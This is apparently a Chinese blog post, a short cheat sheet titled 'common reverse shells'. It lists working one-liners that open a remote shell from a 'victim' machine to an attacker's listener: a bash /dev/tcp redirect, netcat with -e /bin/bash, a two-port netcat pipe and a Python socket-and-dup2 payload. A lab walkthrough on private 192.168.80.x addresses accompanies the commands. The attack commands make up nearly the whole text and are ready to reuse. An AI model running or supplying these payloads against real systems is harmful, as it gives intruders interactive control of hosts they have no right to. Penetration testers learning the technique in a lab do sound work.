常见的反弹shell

0x01 bash

1
2
3
4
5
受害机命令
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

本机命令
nc -lvvvp 1234

首先在受害机(192.168.80.133)中开一个终端,输入

1
bash -i >& /dev/tcp/192.168.80.134/1234 0>&1

然后再本机(192.168.80.134)中开个终端,界面如下

输入如下命令

1
nc -lvvvp 1234

可以看到终端的标签已经改变了,尝试输入命令可以发现已经得到了一个shell

0x02 netcat

如果目标主机有nc -e选项的话,也可以通过-e进行反弹shell
还是以刚才的环境来做实验
首先,在本机上输入

1
nc -lvvp 1234

进行监听
然后再受害机输入

1
nc -e /bin/bash 192.168.80.134 1234

发现在本机的终端已经可以执行shell了

但是万一没有-e选项呢,那么还可以用管道进行反弹shell
首先在本机开两个端口监听

1
2
nc -lvvvp 1234
nc -lvvvp 4321

然后受害机输入

1
nc 192.168.80.134 1234 | /bin/bash | nc 192.168.80.134 4321

得到shell

0x03 Python

1
2
3
4
5
6
7
8
9
10
python -c 
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'

首先在本机输入

1
nc -lvvvp 1234

在受害机输入

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.134",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

即可看到反弹了一个shell

本文标题:常见的反弹shell

文章作者:Pino-HD

发布时间:2018年05月31日 - 18:05

最后更新:2018年05月31日 - 18:05

原始链接:https://pino-hd.github.io/2018/05/31/常见的反弹shell/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!